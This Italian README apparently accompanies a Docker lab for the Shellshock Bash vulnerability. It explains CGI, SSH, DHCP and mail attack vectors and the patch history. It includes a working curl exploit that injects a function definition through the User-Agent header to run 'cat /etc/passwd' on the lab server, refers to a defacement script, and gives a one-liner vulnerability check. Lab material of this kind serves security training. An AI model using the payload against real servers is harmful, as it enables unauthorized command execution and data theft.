
Shellshock exploit + ambiente vulnerabile

Shellshock, noto anche come Bashdoor, è una famiglia di bug di sicurezza nella shell Bash Unix ampiamente utilizzata, il primo dei quali è stato divulgato il 24 settembre 2014. Molti servizi esposti a Internet, come alcune implementazioni di server web, utilizzano Bash per elaborare determinate richieste, consentendo a un attaccante di far eseguire comandi arbitrari alle versioni vulnerabili di Bash. Ciò può permettere a un attaccante di ottenere accesso non autorizzato a un sistema informatico.
Avrai bisogno di Docker installato per eseguire l'ambiente, vai su docker.com e installalo se non lo hai ancora.
Per avviare l'ambiente vulnerabile basta eseguire
docker run --rm -it -p 8080:80 vulnerables/cve-2014-6271
Apri il tuo browser e vai su localhost:8080, se tutto è OK vedrai una pagina come questa

Ci sono diversi modi per sfruttare questa vulnerabilità
Un semplice esempio per cat /etc/passwd
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable
Puoi usarlo per eseguire qualsiasi comando desideri
Questo è solo un esempio di codice in exploit-deface.sh, basta eseguirlo contro l'immagine
./exploit-deface.sh <ip> <port>
Ad esempio, se lo stai eseguendo con il comando fornito sopra
./exploit-deface.sh localhost 8080
Basta aggiornare il browser e vedrai

Basta eseguire questo script bash sul tuo sistema e vedrai se sei vulnerabile o meno:
env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
Quando un server web utilizza la Common Gateway Interface (CGI) per gestire una richiesta di documento, passa vari dettagli della richiesta a un programma handler nell'elenco delle variabili d'ambiente. Ad esempio, la variabile HTTP_USER_AGENT ha un valore che, nell'uso normale, identifica il programma che invia la richiesta. Se l'handler della richiesta è uno script Bash, o se ne esegue uno, ad esempio usando la chiamata system(3), Bash riceverà le variabili d'ambiente passate dal server e le elaborerà come descritto sopra. Ciò fornisce un mezzo per un attaccante per innescare la vulnerabilità Shellshock con una richiesta del server appositamente creata. La documentazione di sicurezza per il diffuso server web Apache afferma: "Gli script CGI possono ... essere estremamente pericolosi se non vengono controllati attentamente." e vengono spesso utilizzati altri metodi di gestione delle richieste del server. Esistono diversi servizi online che tentano di testare la vulnerabilità contro i server web esposti a Internet.
OpenSSH ha una funzionalità "ForceCommand", in cui un comando fisso viene eseguito quando l'utente accede, invece di eseguire semplicemente una shell di comandi senza restrizioni. Il comando fisso viene eseguito anche se l'utente ha specificato che un altro comando dovrebbe essere eseguito; in tal caso il comando originale viene inserito nella variabile d'ambiente "SSH_ORIGINAL_COMMAND". Quando il comando forzato viene eseguito in una shell Bash (se la shell dell'utente è impostata su Bash), la shell Bash analizzerà la variabile d'ambiente SSH_ORIGINAL_COMMAND all'avvio ed eseguirà i comandi in essa incorporati. L'utente ha utilizzato il suo accesso limitato alla shell per ottenere accesso illimitato alla shell, usando il bug Shellshock.
Alcuni client DHCP possono anche passare comandi a Bash; un sistema vulnerabile potrebbe essere attaccato quando si connette a una rete Wi-Fi aperta. Un client DHCP richiede e ottiene tipicamente un indirizzo IP da un server DHCP, ma può anche ricevere una serie di opzioni aggiuntive. Un server DHCP malintenzionato potrebbe fornire, in una di queste opzioni, una stringa costruita per eseguire codice su una workstation o un laptop vulnerabile.
Quando si utilizza Bash per elaborare messaggi di posta elettronica (ad esempio tramite .forward o piping di qmail-alias), il server di posta qmail passa l'input esterno in un modo che può sfruttare una versione vulnerabile di Bash.
Il bug può essere sfruttato per ottenere accesso a Bash dalla shell ristretta della IBM Hardware Management Console, una piccola variante Linux per amministratori di sistema. IBM ha rilasciato una patch per risolvere il problema.
Fino al 24 settembre 2014, il manutentore di Bash Chet Ramey ha fornito una versione di patch bash43-025 di Bash 4.3 che affrontava CVE-2014-6271, già impacchettata dai manutentori delle distribuzioni. Il 24 settembre è seguita bash43-026, che affrontava CVE-2014-7169. Poi è stato scoperto CVE-2014-7186. Florian Weimer di Red Hat ha pubblicato alcuni codici di patch per questo "ufficiosamente" il 25 settembre, che Ramey ha incorporato in Bash come bash43-027. Queste patch fornivano solo codice, utili solo per coloro che sanno come compilare ("ricostruire") un nuovo file eseguibile binario di Bash dal file di patch e dai file di codice sorgente rimanenti.
Il giorno successivo, Red Hat ha presentato ufficialmente gli aggiornamenti corrispondenti per Red Hat Enterprise Linux, dopo un altro giorno per Fedora 21. Canonical Ltd. ha presentato aggiornamenti per le sue versioni Ubuntu Long Term Support sabato 27 settembre; domenica, ci sono stati aggiornamenti per SUSE Linux Enterprise. Il lunedì e martedì successivi alla fine del mese, sono apparsi gli aggiornamenti per Apple OS X.
Il 1° ottobre 2014, Michał Zalewski di Google Inc. ha infine dichiarato che il codice di Weimer e bash43-027 avevano corretto non solo i primi tre bug ma anche i restanti tre pubblicati dopo bash43-027, incluse le sue due scoperte. Ciò significa che dopo gli aggiornamenti iniziali delle distribuzioni, non sono stati necessari altri aggiornamenti per coprire tutti e sei i problemi.
Questo o il programma precedente è SOLO a scopo educativo. Non utilizzarlo senza autorizzazione. Si applica la consueta dichiarazione di non responsabilità, in particolare il fatto che io (opsxcq) non sono responsabile per eventuali danni causati dall'uso diretto o indiretto delle informazioni o funzionalità fornite da questi programmi. L'autore o qualsiasi fornitore di Internet NON si assume alcuna responsabilità per il contenuto o l'uso improprio di questi programmi o di qualsiasi loro derivato. Utilizzando questi programmi accetti che qualsiasi danno (perdita di dati, crash del sistema, compromissione del sistema, ecc.) causato dall'uso di questi programmi non è di responsabilità di opsxcq.